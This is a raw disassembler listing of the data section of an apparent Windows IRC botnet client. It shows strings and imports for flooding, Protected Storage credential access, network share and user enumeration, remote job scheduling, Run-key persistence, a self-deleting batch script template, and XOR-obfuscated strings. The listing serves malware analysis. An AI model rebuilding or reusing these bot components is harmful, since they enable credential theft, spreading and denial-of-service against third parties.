206F7420h, 2343003h, 2037325h, 0 dword_418620 dd 6578652Eh, 0 ; DATA XREF: sub_403260+43o ; sub_412720+51o aQuitRestarting db 'QUIT :restarting',0 ; DATA XREF: sub_40332B:loc_403538o ; sub_40332B:loc_403545o ... align 4 aQuitExitting db 'QUIT :exitting',0 ; DATA XREF: sub_40332B+200o ; sub_40A9CF:loc_40BD52o align 4 dword_41864C dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: sub_40332B+19Co aModuleSReporte db '- Module "%s" reported a crash in "%s": N=%u EAX=%08X EBX=%08X EC' db 'X=%08X EDX=%08X ESI=%08X EDI=%08X EBP=%08X ESP=%08X EIP=%08X EFLA' db 'GS=%08X. Code: %08X (%s). %s...',0 align 4 aContinuing db 'Continuing',0 ; DATA XREF: sub_40332B:loc_40342Ao align 4 aRestarting db 'Restarting',0 ; DATA XREF: sub_40332B+F3o align 4 aException_flt db 'EXCEPTION_FLT',0 ; DATA XREF: sub_40332B:loc_40340Co align 4 aException_stac db 'EXCEPTION_STACK_OVERFLOW',0 ; DATA XREF: sub_40332B:loc_403403o align 10h aException_nonc db 'EXCEPTION_NONCONTINUABLE_EXCEPTION',0 ; DATA XREF: sub_40332B:loc_4033FAo align 4 aException_int_ db 'EXCEPTION_INT_DIVIDE_BY_ZERO',0 ; DATA XREF: sub_40332B:loc_4033F1o align 4 aException_ille db 'EXCEPTION_ILLEGAL_INSTRUCTION',0 ; DATA XREF: sub_40332B:loc_4033E8o align 4 aException_brea db 'EXCEPTION_BREAKPOINT',0 ; DATA XREF: sub_40332B:loc_4033DFo align 4 aException_acce db 'EXCEPTION_ACCESS_VIOLATION',0 ; DATA XREF: sub_40332B:loc_4033D6o align 4 aException_othe db 'EXCEPTION_OTHER',0 ; DATA XREF: sub_40332B+27o aUdp db 'udp',0 ; DATA XREF: sub_4038BA+27Co aInternetgetcon db 'InternetGetConnectedStateExA',0 ; DATA XREF: sub_403BD3+20Bo align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_403BD3:loc_403DCAo aPstorecreatein db 'PStoreCreateInstance',0 ; DATA XREF: sub_403BD3+1E4o align 10h aPstorec_dll db 'pstorec.dll',0 ; DATA XREF: sub_403BD3:loc_403DA3o aFreeaddrinfo db 'freeaddrinfo',0 ; DATA XREF: sub_403BD3+184o align 4 aGetnameinfo db 'getnameinfo',0 ; DATA XREF: sub_403BD3+171o aGetaddrinfo db 'getaddrinfo',0 ; DATA XREF: sub_403BD3+15Eo aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_403BD3:loc_403D23o align 10h aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_403BD3+13Do align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_403BD3+12Ao align 10h aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_403BD3+117o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_403BD3+104o aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_403BD3:loc_403CC3o aNetaddalternat db 'NetAddAlternateComputerName',0 ; DATA XREF: sub_403BD3+DDo aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_403BD3+CAo align 10h aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_403BD3+B7o align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_403BD3+A4o align 4 aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_403BD3+91o align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_403BD3+7Eo aNetusedel db 'NetUseDel',0 ; DATA XREF: sub_403BD3+6Bo align 4 aNetuseadd db 'NetUseAdd',0 ; DATA XREF: sub_403BD3+58o align 4 aNetusegetinfo db 'NetUseGetInfo',0 ; DATA XREF: sub_403BD3+45o align 4 aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_403BD3:loc_403C00o align 4 aInitializecrit db 'InitializeCriticalSectionAndSpinCount',0 ; DATA XREF: sub_403BD3+1Ao align 10h aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_403BD3+6o align 10h aUseridUnix db ' : USERID : UNIX : ',0 ; DATA XREF: sub_403DF3:loc_403F57o dword_4189C4 dd 3430032Dh, 3752502h, 52202D02h, 696E6E75h, 6920676Eh ; DATA XREF: sub_403DF3+6Eo dd 746E6564h, 65732064h, 72657672h, 206E6F20h, 74726F70h dd 34300320h, 3732502h, 2 dword_4189F8 dd 6E656449h, 73206474h, 65767265h, 6E6F2072h, 726F7020h ; DATA XREF: sub_403FE5+7Eo dd 30032074h, 73250234h, 203h dword_418A18 dd 333131h ; DATA XREF: sub_403FE5:loc_403FFDo dword_418A1C dd 9EC09195h, 0D0A198ABh, 0B6B0BEADh, 8Fh, 0 ; DATA XREF: sub_4043E9+6o dword_418A30 dd 2E3031h ; DATA XREF: sub_4041B7+56o dword_418A34 dd 2E323931h, 2E383631h, 0 ; DATA XREF: sub_4041B7+3Bo dword_418A40 dd 2E323731h, 0 ; DATA XREF: sub_4041B7+20o dword_418A48 dd 2E373231h, 0 ; DATA XREF: sub_4041B7+5o dword_418A50 dd 252E7525h, 75252E75h, 75252Eh ; DATA XREF: sub_40D871+1CCo ; sub_41113B+45Ao dword_418A5C dd 313A3Ah ; DATA XREF: sub_40435B+42o dword_418A60 dd 7525h ; DATA XREF: sub_4055E5+458o ; sub_4055E5+69Eo ... dword_418A64 dd 252E7525h, 75252E75h, 3A75252Eh, 7525h ; DATA XREF: sub_4055E5+31Eo ; sub_4055E5+40Bo ... aU_U_U_UU db '%u.%u.%u.%u:%u',0Dh,0Ah,0 ; DATA XREF: sub_4055E5+2A3o ; sub_4055E5+3AFo ... align 4 aU db '%u',0Dh,0Ah,0 ; DATA XREF: sub_4055E5+229o ; sub_4055E5+351o ... align 10h aLgFlooder db 'LG flooder',0 ; DATA XREF: sub_405E45+109o align 4 aGetmoduleinfor db 'GetModuleInformation',0 ; DATA XREF: sub_405FA3+5Eo align 4 aGetmodulefilen db 'GetModuleFileNameExA',0 ; DATA XREF: sub_405FA3+4Bo align 4 aEnumprocessmod db 'EnumProcessModules',0 ; DATA XREF: sub_405FA3+38o align 10h aEnumprocesses db 'EnumProcesses',0 ; DATA XREF: sub_405FA3:loc_405FC8o align 10h aPsapi_dll db 'psapi.dll',0 ; DATA XREF: sub_405FA3+Fo align 4 aSystem db 'system',0 ; DATA XREF: sub_406041+136o ; .data:0041BBD0o ... align 4 dword_418B04 dd 2343003h, 3693425h, 25202E02h, 20583830h, 58383025h ; DATA XREF: sub_40637C+FEo dd 732520h dword_418B1C dd 3430032Dh, 3752502h, 4C202D02h, 69747369h, 320676Eh ; DATA XREF: sub_40637C+51o dd 25023430h, 2032569h, 6F727020h, 73736563h, 3A7365h dword_418B44 dd 7473694Ch, 6F727020h, 73736563h, 7365h ; DATA XREF: sub_4064BF+31o dword_418B54 dd 58323025h, 0 ; DATA XREF: sub_406722+266o ; sub_4147E5+11o ... dword_418B5C dd 58383025h, 0 ; DATA XREF: sub_406722+201o ; sub_40A9CF+1C12o dword_418B64 dd 7325h ; DATA XREF: sub_406722+1E3o ; sub_406722+296o ... aHkus db 'HKUS',0 ; DATA XREF: sub_406722+8Do align 10h aHklm db 'HKLM',0 ; DATA XREF: sub_406722+6Bo align 4 aHkcu db 'HKCU',0 ; DATA XREF: sub_406722+49o align 10h aHkcr db 'HKCR',0 ; DATA XREF: sub_406722+27o align 4 off_418B88 dd offset dword_418DD0 ; DATA XREF: sub_406E8E+4Br ; sub_406E8E+8Dr ... off_418B8C dd offset dword_418DA8 ; DATA XREF: sub_406E8E+106r ; sub_406E8E+12Ar ... dd offset loc_418D98 dd offset dword_418DA8 dd offset dword_418D88 dd offset dword_418D64 dd offset dword_418D54 dd offset dword_418D34 dd offset dword_418D20 dd offset dword_418D34 dd offset dword_418D0C dd offset dword_418CF4 dd offset dword_418CE4 dd offset dword_418CD0 dd offset dword_418CBC dd offset dword_418C9C dd offset dword_418C88 dd offset dword_418C6C dd offset dword_418C5C dd offset dword_418C6C dd offset dword_418C4C dd offset loc_418C24 dd offset dword_418C10 dd offset dword_418BF0 align 10h dword_418BF0 dd 0C2D48FAFh, 0D8A189F2h, 0BD97B0BCh, 0DF85B08Fh, 0F5979287h ; DATA XREF: .data:00418BE4o dd 0D1A28AE5h, 0ACF5BAh, 0 dword_418C10 dd 0C0CF838Bh, 0DBBC95F1h, 0B6A6F5E6h, 2 dup(0) ; DATA XREF: .data:00418BE0o ; --------------------------------------------------------------------------- loc_418C24: ; DATA XREF: .data:00418BDCo mov ds:0F4DCC796h, eax cdq scasd retf 0FFA1h ; --------------------------------------------------------------------------- dw 0F3B0h dd 0D48EB4B7h, 0D1F0C690h, 0DFB99FE9h, 0B68DB0B1h, 0D29EA389h dd 87h, 0 dword_418C4C dd 0C3D08A83h, 0DBB69FB3h, 2 dup(0) ; DATA XREF: .data:00418BD8o dword_418C5C dd 0DFD89691h, 90B889D4h, 0BBE8ADh, 0 ; DATA XREF: .data:00418BD0o dword_418C6C dd 0DFD896B1h, 9EBC9FF1h, 80BCE59Bh, 0D483A682h, 0C0F6C68Fh ; DATA XREF: .data:00418BCCo ; .data:00418BD4o dd 0EDh, 0 dword_418C88 dd 0DFD89691h, 0DDB889F1h, 0B6A6F5E6h, 2 dup(0) ; DATA XREF: .data:00418BC8o dword_418C9C dd 0D4D98FB5h, 9EBD8DF2h, 0A4AAF586h, 919CA794h, 0D5C58FA4h ; DATA XREF: .data:00418BC4o dd 0D2A29BEAh, 2 dup(0) dword_418CBC dd 0D5C58F84h, 0D2A29BEAh, 0B6A6F5E6h, 2 dup(0) ; DATA XREF: .data:00418BC0o dword_418CD0 dd 0D1D98FB5h, 0FFEE8AF0h, 0A7B0F5AFh, 2 dup(0) ; DATA XREF: .data:00418BBCo dword_418CE4 dd 0D1D98F95h, 0DBE08AF0h, 0F5B0h, 0 ; DATA XREF: .data:00418BB8o dword_418CF4 dd 0D4D98FB5h, 9EBD8DF2h, 0BFAEE88Dh, 0C392A794h, 2 dup(0) ; DATA XREF: .data:00418BB4o dword_418D0C dd 0DCC79E87h, 0CCAB88F2h, 0B6A6F5E6h, 2 dup(0) ; DATA XREF: .data:00418BB0o dword_418D20 dd 0F9D98F95h, 0D0A19DF2h, 0B6A6F5E6h, 2 dup(0) ; DATA XREF: .data:00418BA8o dword_418D34 dd 0D4D98FB5h, 9EBD8DF2h, 0BCB9FF84h, 0C1B6F595h, 0D3DE8A92h ; DATA XREF: .data:00418BA4o ; .data:00418BACo dd 0D1A78EFCh, 0A6h, 0 dword_418D54 dd 0DFD0898Eh, 0C6ABD4F3h, 0ADh, 0 ; DATA XREF: .data:00418BA0o dword_418D64 dd 0D5DE8AA1h, 0EDEE8EF3h, 0B6A8E2ADh, 0C4A5F589h, 0DDDE928Ch ; DATA XREF: .data:00418B9Co dd 0CC9EDAF8h, 0A0BBF3A7h, 88h, 0 dword_418D88 dd 0C3C59581h, 0DBB69FB3h, 2 dup(0) ; DATA XREF: .data:00418B98o ; --------------------------------------------------------------------------- loc_418D98: ; DATA XREF: .data:00418B90o stosd xchg eax, ebp setalc retn ; --------------------------------------------------------------------------- dd 0C6ABD4EEh, 0ADh, 0 dword_418DA8 dd 0D1D489AEh, 0DB9DDAF1h, 0BAACE5ABh, 0F0D7AC8Fh, 0DFDF9297h ; DATA XREF: .data:off_418B8Co ; .data:00418B94o dd 0C7BA93EFh, 0A1BBC3E8h, 0D494BC8Dh, 2 dup(0) dword_418DD0 dd 0D1C4958Eh, 0C6ABD4EEh, 0ADh, 0 ; DATA XREF: .data:off_418B88o dword_418DE0 dd 293Ah ; DATA XREF: sub_406A23+9Co dword_418DE4 dd 5Ch ; DATA XREF: sub_406A23+1Bo ; sub_406AE7+1Bo ... dword_418DE8 dd 7078655Ch, 65726F6Ch, 78652E72h, 65h ; DATA XREF: sub_406B81+1Bo aSoftwareMicros db 'Software\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: sub_406C51+1Co align 4 a@echoOffDelete db '@echo off',0Dh,0Ah ; DATA XREF: sub_406D90+A8o db ':deleteagain',0Dh,0Ah db 'del /A:H /F %s',0Dh,0Ah db 'del /F %s',0Dh,0Ah db 'if exist %s goto deleteagain',0Dh,0Ah db 'del %s',0Dh,0Ah,0 align 4 a_bat db '.bat',0 ; DATA XREF: sub_406D90+39o align 4 aWindowsDllLoad db 'Windows DLL Loader',0 ; DATA XREF: sub_406E8E+20Do ; sub_407148+19Do align 10h aQuitSUninstall db 'QUIT :%s uninstalled.',0 ; DATA XREF: sub_407148+177o ; sub_407148+1C9o align 4 dword_418EB8 dd 6E6E6F43h, 69746365h, 66206E6Fh, 206D6F72h, 2343003h ; DATA XREF: sub_40732D+115o dd 2037325h, 206F7420h, 6B636F73h, 34300373h, 3752502h dd 65732002h, 72657672h, 7325h dword_418EEC dd 6A657220h, 65746365h, 64h ; DATA XREF: sub_40732D:loc_407423o dword_418EF8 dd 3430032Dh, 3752502h, 52202D02h, 696E6E75h, 7320676Eh ; DATA XREF: sub_40764D+6Ao dd 736B636Fh, 72657320h, 20726576h, 70206E6Fh, 2074726Fh dd 2343003h, 2037325h, 0 dword_418F2C dd 6B636F53h, 65732073h, 72657672h, 206E6F20h, 74726F70h ; DATA XREF: sub_4077DD+9Co dd 34300320h, 3732502h, 2 dword_418F4C dd 20h ; DATA XREF: sub_407928+4Co ; sub_407928+96o ... dword_418F50 dd 30h ; DATA XREF: sub_407E0C+CBo ; sub_40CA29+13Do ... dword_418F54 dd 252E7325h, 73252E73h, 73252Eh ; DATA XREF: sub_407F3D+118o ; sub_40806A+BDo dword_418F60 dd 9ED9958Fh, 0A395FEh, 0 ; DATA XREF: sub_408887+6o ; --------------------------------------------------------------------------- loc_418F6C: ; DATA XREF: sub_408887+14o xchg eax, ebp xchg eax, ecx rcr byte ptr [esi-33436017h], 0A9h mov esi, 0FB96BCBDh xchg eax, ebp retn ; --------------------------------------------------------------------------- dd 2 dup(0) dword_418F84 dd 9ED9958Fh, 9FF9h, 0 ; DATA XREF: sub_408887+22o ; --------------------------------------------------------------------------- loc_418F90: ; DATA XREF: sub_408887+30o xchg al, [edi-6B4C223Eh] stosd retf 0 ; --------------------------------------------------------------------------- align 10h dword_418FA0 dd 0D7D88985h, 0DFE09FF1h, 0ADh, 0 ; DATA XREF: sub_408887+3Eo dword_418FB0 dd 0D5D98F8Ch, 90A089F0h, 0FDB3FFABh, 0A09Ah, 0 ; DATA XREF: sub_408887+4Co off_418FC4 dd offset dword_4190E8 ; DATA XREF: sub_4088FC+19r ; sub_4088FC+60r off_418FC8 dd offset loc_4190B4 ; DATA XREF: sub_4088FC+8Ar dd offset dword_419098 dd offset dword_419054 dd offset dword_41903C dd offset dword_418FE4 dd 2 dup(0) dword_418FE4 dd 0DEC08986h, 0DAAF95F1h, 0BEBFF7E6h, 0C8D9A69Eh, 0DFD88E83h ; DATA XREF: .data:00418FD8o dd 0D3A199B3h, 0BEBFF7E7h, 0D5D8A69Eh, 0DCD9918Dh, 91AA9BF2h dd 0BDB9F9BBh, 0C1D8B19Eh, 0D1D4968Dh, 0DFB7D5EDh, 8CB1FFA0h dd 0D49DB099h, 0D5DB8395h, 0CA91C8F9h, 0E2F3A1A5h, 0D48FB0D5h dd 2 dup(0) dword_41903C dd 0D7999597h, 0CDAB97FCh, 0BAA7BEF9h, 0D2D9B296h, 8B8Dh ; DATA XREF: .data:00418FD4o dd 0 dword_419054 dd 0DEC08986h, 0DAAF95F1h, 0E2F1A3E7h, 82D8B3D4h, 818380D3h ; DATA XREF: .data:00418FD0o dd 93F9C8A9h, 0B6EAA0F0h, 0D7CFE1D6h, 0D38FCBDBh, 8BE3C2ACh dd 0EABAA1A9h, 89C2B7C8h, 9FD2D5D7h, 0CDAF89F0h, 0FDBDFEB1h dd 92AD9Eh, 0 dword_419098 dd 0DEC08986h, 0DAAF95F1h, 0B0B7FDE6h, 0DE84BA89h, 0D3999284h ; DATA XREF: .data:00418FCCo dd 97F2h, 0 ; --------------------------------------------------------------------------- loc_4190B4: ; DATA XREF: .data:off_418FC8o xchg al, [edi-604D2E3Dh] mov al, ds:0B9F9AA91h cld cwde mov al, ds:8887C385h retn ; --------------------------------------------------------------------------- db 9Fh dd 0D9A195DAh, 0BC8AF5A4h, 0D095B994h, 0C3D9AF90h, 0D2A29BE9h dd 0B6F0E2ADh, 0B083h, 0 dword_4190E8 dd 0DCD88996h, 90BC9BFFh, 0B4B1FFAFh, 0D2D9B097h, 8B8Dh ; DATA XREF: .data:off_418FC4o dd 0 off_419100 dd offset loc_415353+2 ; DATA XREF: sub_408342+2Co dword_419104 dd 74737953h, 69206D65h, 726F666Eh, 6974616Dh, 2D206E6Fh ; DATA XREF: sub_4083AD+3CEo dd 3A534F20h, 6E695720h, 73776F64h, 34300320h, 3732502h dd 25282002h, 76202C73h, 2343003h, 252E6425h, 2C020364h dd 30036220h, 64250234h, 2E290203h, 55504320h, 7325203Ah dd 34300320h, 3642502h, 7A484D02h, 6152202Eh, 3203A6Dh dd 25023430h, 4D020364h, 30032F42h, 64250234h, 424D0203h dd 65726620h, 49202E65h, 3A367650h, 34300320h, 3732502h dd 55202E02h, 6D697470h, 3203A65h, 25023430h, 64020364h dd 73257961h, 34300320h, 3642502h, 756F6802h, 20732572h dd 2343003h, 2036425h, 756E696Dh, 73256574h, 6F43202Eh dd 7475706Dh, 616E7265h, 203A656Dh, 2343003h, 2037325h dd 7355202Eh, 203A7265h, 2343003h, 2037325h, 0A0D2Eh dword_4191F4 dd 73h ; DATA XREF: sub_4083AD:loc_4086C8o ; sub_4083AD:loc_4086E7o ... aProcessornames db 'ProcessorNameString',0 ; DATA XREF: sub_4083AD+2D2o aHardwareDescri db 'HARDWARE\DESCRIPTION\System\CentralProcessor\0',0 ; DATA XREF: sub_4083AD+296o align 4 aNo db 'No',0 ; DATA XREF: sub_4083AD:loc_4085EBo ; sub_408B30:loc_408CB4o ... align 10h aYes db 'Yes',0 ; DATA XREF: sub_4083AD+232o ; sub_408B30+178o ... a2003 db '2003',0 ; DATA XREF: sub_4083AD+1FFo align 4 aXp db 'XP',0 ; DATA XREF: sub_4083AD+1E1o align 10h a2000 db '2000',0 ; DATA XREF: sub_4083AD+1C3o align 4 aMe db 'ME',0 ; DATA XREF: sub_4083AD+1A5o align 4 a98 db '98',0 ; DATA XREF: sub_4083AD+187o align 10h aNt db 'NT',0 ; DATA XREF: sub_4083AD+166o align 4 a95 db '95',0 ; DATA XREF: sub_4083AD+153o align 4 aNoSp db 'no SP',0 ; DATA XREF: sub_4083AD+12Eo align 10h a?: ; DATA XREF: sub_4083AD+124o unicode 0, <?>,0 aSysinfoThread db 'Sysinfo thread',0 ; DATA XREF: sub_4087C4+2Bo align 4 dword_419284 dd 7774654Eh, 206B726Fh, 6F666E69h, 74616D72h, 206E6F69h ; DATA XREF: sub_408B30+2D4o dd 6F48202Dh, 203A7473h, 2343003h, 2037325h, 614E202Eh dd 203A656Dh, 2343003h, 2037325h, 7954202Eh, 203A6570h dd 2343003h, 2037325h, 5049202Eh, 203A3676h, 2343003h dd 2037325h, 6946202Eh, 61776572h, 64656C6Ch, 3003203Ah dd 73250234h, 202E0203h, 6574614Ch, 3A79636Eh, 34300320h dd 3732502h, 25202C02h, 53202E75h, 64656570h, 3003203Ah dd 30250234h, 366322Eh, 424B2B02h, 6365732Fh, 5249202Eh dd 70552043h, 656D6974h, 3003203Ah, 64250234h, 61640203h dd 20732579h, 2343003h, 2036425h, 72756F68h, 3207325h dd 25023430h, 6D020364h, 74756E69h, 2E732565h, 0 aGood db 'Good',0 ; DATA XREF: sub_408B30+1F9o align 4 aAvarage db 'Avarage',0 ; DATA XREF: sub_408B30+1E3o aBad db 'Bad',0 ; DATA XREF: sub_408B30+1CDo aLan db 'LAN',0 ; DATA XREF: sub_408B30:loc_408C8Fo aModem db 'Modem',0 ; DATA XREF: sub_408B30+14Do align 10h aUnknown_0 db 'Unknown',0 ; DATA XREF: sub_408B30+F5o ; sub_408B30+108o aNetinfoThread db 'Netinfo thread',0 ; DATA XREF: sub_408E4A+2Bo align 4 dword_419398 dd 5C3A41h ; DATA XREF: sub_408E8E+6r ; sub_408F2E+4Er ... dword_41939C dd 6F547325h, 206C6174h, 76697264h, 203A7365h, 2343003h ; DATA XREF: sub_408F2E+270o dd 2037525h, 6F54202Ch, 206C6174h, 63617073h, 3203A65h dd 25023430h, 4D020375h, 72662042h, 2E6565h dword_4193D4 dd 30037325h, 73250234h, 73250203h, 0 ; DATA XREF: sub_408F2E+1EDo dword_4193E4 dd 30037325h, 73250234h, 73250203h, 34300320h, 3752502h ; DATA XREF: sub_408F2E+1C5o dd 20424D02h, 65657266h, 0 dword_419404 dd 202Eh ; DATA XREF: sub_408F2E+17Co ; sub_408F2E+24Ao aUnknown db 'unknown',0 ; DATA XREF: sub_408F2E:loc_40902Do ; sub_4129CA+34o aRamdisk db 'ramdisk',0 ; DATA XREF: sub_408F2E+F6o aCdRom db 'cd-rom',0 ; DATA XREF: sub_408F2E+E4o align 10h aRemote db 'remote',0 ; DATA XREF: sub_408F2E+D2o align 4 aFixed db 'fixed',0 ; DATA XREF: sub_408F2E+C0o align 10h aRemovable db 'removable',0 ; DATA XREF: sub_408F2E+AEo align 4 aDriveInformati db 'Drive information - ',0 ; DATA XREF: sub_408F2E+2Eo align 4 aDriveinfoThrea db 'Driveinfo thread',0 ; DATA XREF: sub_4091E2+2Bo align 4 aThread db 'thread',0 ; DATA XREF: sub_4093B6+98o ; sub_4094E6+93o align 10h aBtg db 'btg',0 ; DATA XREF: sub_4093B6+93o dword_419474 dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: sub_4093B6+67o aBtgTriedExecut db '- btg tried executing an unreadable address. (%08X)',0 aS db '*%s*',0 ; DATA XREF: sub_4097A7+81o ; sub_4098F3+C4o align 4 dword_4194BC dd 2343003h, 2036925h, 7325202Eh, 0 ; DATA XREF: sub_409AD5+DAo dword_4194CC dd 3430032Dh, 2037802h ; DATA XREF: sub_409AD5:loc_409B25o aNoThreadsRunni db '- No threads running.',0 align 4 dword_4194EC dd 3430032Dh, 2037802h, 694C202Dh, 6E697473h, 30032067h ; DATA XREF: sub_409AD5+3Ao dd 69250234h, 32F0203h, 25023430h, 20020369h, 65726874h dd 3A736461h, 0 aCouldNotGetAVa db 'Could not get a valid ICMP handle',0Ah,0 ; DATA XREF: sub_409CB1+15o align 10h dword_419540 dd 2343003h, 2036425h, 2020202Eh, 3 dup(2020202Ah), 6F727245h ; DATA XREF: sub_409DD0+3A3o dd 30033A72h, 64250234h, 203h dword_419568 dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h ; DATA XREF: sub_409DD0+37Fo dd 736D6425h, 34300320h, 2E642502h, 252E6425h, 64252E64h dd 203h dword_419594 dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h ; DATA XREF: sub_409DD0+32Fo dd 736D6425h, 34300320h, 3732502h, 25282002h, 64252E64h dd 2E64252Eh, 296425h aCouldNotResolv db 'Could not resolve name',0 ; DATA XREF: sub_409DD0:loc_409F06o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409DD0+80o aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409DD0+6Ao align 4 aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409DD0:loc_409E24o align 4 aIcmp_dll db 'ICMP.DLL',0 ; DATA XREF: sub_409DD0+34o align 4 unk_419618 db 55h ; U ; DATA XREF: sub_40A1A7+Co db 73h, 61h, 67h db 65h ; e db 3Ah, 20h, 3 db 30h ; 0 db 34h, 2, 74h db 72h ; r db 61h, 63h, 65h db 3 db 2, 20h, 3Ch db 3 db 30h, 34h, 2 db 68h ; h db 6Fh, 73h, 74h db 3 db 2, 3Eh, 20h aHopcountTimeou db '[<hopcount> <timeout> <pingcount>]',0 align 4 dword_41965C dd 202h ; DATA XREF: sub_40A2D2+159o dword_419660 dd 0A0D7325h, 0 ; DATA XREF: sub_40A2D2+6Eo dword_419668 dd 3334h ; DATA XREF: sub_40A2D2+41o dword_41966C dd 3430032Dh, 3752502h, 51202D02h, 79726575h, 20676E69h ; DATA XREF: sub_40A2D2+24o dd 2343003h, 2037325h, 726F6620h, 34300320h, 3732502h dd 3A02h dword_419698 dd 6F727245h, 75712072h, 69797265h, 320676Eh, 25023430h ; DATA XREF: sub_40A4A4+44o dd 2E020373h, 0 dword_4196B4 dd 72657551h, 676E6979h, 34300320h, 3732502h, 6F662002h ; DATA XREF: sub_40A50E+97o dd 30032072h, 73250234h, 203h dword_4196D4 dd 0D9D88E95h, 0CCAFD4EEh, 0BDF0FEA1h, 0A19Eh, 0 ; DATA XREF: sub_40A50E:loc_40A562o aAbcdef db 'abcdef',0 ; DATA XREF: sub_40A8AD+1Bo align 10h aUsername db 'username',0 ; DATA XREF: sub_40A9CF:loc_40C8EAo align 4 aId db 'id',0 ; DATA XREF: sub_40A9CF+1EF2o align 10h dword_419700 dd 259B8h ; DATA XREF: sub_40A9CF+1ECDr align 8 dword_419708 dd 69747055h, 2D20656Dh, 73795320h, 3A6D6574h, 34300320h ; DATA XREF: sub_40A9CF+1EB1o dd 3642502h, 79616402h, 3207325h, 25023430h, 68020364h dd 2572756Fh, 30032073h, 64250234h, 696D0203h, 6574756Eh dd 202E7325h, 3A435249h, 34300320h, 3642502h, 79616402h dd 3207325h, 25023430h, 68020364h, 2572756Fh, 30032073h dd 64250234h, 696D0203h, 6574756Eh, 7325h dword_41977C dd 577ED30h ; DATA XREF: sub_40A9CF+1C87r dd 2 dup(0) dword_419788 dd 5658h ; DATA XREF: sub_40A9CF+1C72r align 10h dword_419790 dd 4827598h ; DATA XREF: sub_40A9CF+1C4Br dd 2 dup(0) a9252 db '9252',0 ; DATA XREF: sub_40A9CF+1BFAo align 4 dword_4197A4 dd 2DEB94F9h ; DATA XREF: sub_40A9CF+1BE9r dd 3 dup(0) dword_4197B4 dd 2E6BE5C8h ; DATA XREF: sub_40A9CF+1BC2r align 10h dword_4197C0 dd 2E5B8h ; DATA XREF: sub_40A9CF+1BADr align 8 dword_4197C8 dd 2495E5C8h ; DATA XREF: sub_40A9CF+1B86r dd 2 dup(0) dword_4197D4 dd 24858h ; DATA XREF: sub_40A9CF+1B71r dd 0 dword_4197DC dd 21DFB0F8h ; DATA XREF: sub_40A9CF+1B36r dd 2 dup(0) dword_4197E8 dd 6B6E696Ch, 30037620h, 64250234h, 32E0203h, 25023430h ; DATA XREF: sub_40A9CF+1B17o dd 3643330h, 20732502h, 6E69575Bh, 5D3233h dword_41980C dd 26809888h ; DATA XREF: sub_40A9CF+1AFCr dd 2 dup(0) dword_419818 dd 266E8h ; DATA XREF: sub_40A9CF+1AE7r align 10h dword_419820 dd 65657053h, 3203A64h, 25023430h, 4B020375h, 65732F42h ; DATA XREF: sub_40A9CF+1AC8o dd 63h dword_419838 dd 91DF38h ; DATA XREF: sub_40A9CF+19B1r dd 2 dup(0) dword_419844 dd 2343003h, 2037325h ; DATA XREF: sub_40A9CF+1992o aHasNoIpv4End_ db ' has no ipv4 end.',0 align 10h dword_419860 dd 20656854h, 34767069h, 646E6520h, 20666F20h, 2343003h ; DATA XREF: sub_40A9CF+1976o dd 2037325h, 20736920h, 2343003h, 252E6925h, 69252E69h dd 369252Eh, 2 a2002 db '2002',0 ; DATA XREF: sub_40A9CF+1851o align 4 dword_419898 dd 42A40FB6h ; DATA XREF: sub_40A9CF+180Br dd 3 dup(0) dword_4198A8 dd 2343003h, 2037325h, 44202D20h, 203A534Eh, 2343003h ; DATA XREF: sub_40A9CF+17C1o dd 2037325h, 0 dword_4198C4 dd 151858h ; DATA XREF: sub_40A9CF+1710r align 10h dword_4198D0 dd 6F727245h, 65722072h, 766C6F73h, 20676E69h, 2343003h ; DATA XREF: sub_40A9CF+16F1o ; sub_40A9CF+17ECo dd 2037325h, 2Eh dword_4198EC dd 2343003h, 2037325h, 55202D20h, 6F6E6B6Eh, 74206E77h ; DATA XREF: sub_40A9CF+16AAo dd 20657079h, 2343003h, 2036425h, 64646120h, 73736572h dd 3003203Ah, 73250234h, 203h dword_419920 dd 2343003h, 2037325h, 49202D20h, 20367650h, 72646461h ; DATA XREF: sub_40A9CF+1659o dd 3A737365h, 34300320h, 3732502h, 2 dword_419944 dd 2343003h, 2037325h, 49202D20h, 20347650h, 72646461h ; DATA XREF: sub_40A9CF+1602o dd 3A737365h, 34300320h, 3732502h, 2 dword_419968 dd 3Ch ; DATA XREF: sub_40A9CF:loc_40BFBAo ; sub_40A9CF:loc_40C011o ... dword_41996C dd 24858h ; DATA XREF: sub_40A9CF+1534r dd 0 aQuitChangingSe db 'QUIT :changing server',0 ; DATA XREF: sub_40A9CF:loc_40BED3o align 4 dword_41998C dd 0B7DFB102h ; DATA XREF: sub_40A9CF+14F5r dd 3 dup(0) dword_41999C dd 4B836E8h ; DATA XREF: sub_40A9CF+14E0r dd 2 dup(0) dword_4199A8 dd 3E08h ; DATA XREF: sub_40A9CF+14B2r align 10h dword_4199B0 dd 952EF8h ; DATA XREF: sub_40A9CF+1484r dd 2 dup(0) dword_4199BC dd 22F78h ; DATA XREF: sub_40A9CF+146Fr dd 0 dword_4199C4 dd 59D83703h ; DATA XREF: sub_40A9CF+1450r dd 3 dup(0) dword_4199D4 dd 72616843h, 65746361h, 6E692072h, 68202D20h, 203A7865h ; DATA XREF: sub_40A9CF+1431o dd 2343003h, 30257830h, 2035832h, 63656420h, 3003203Ah dd 75250234h, 2E0203h dword_419A04 dd 1197E8h 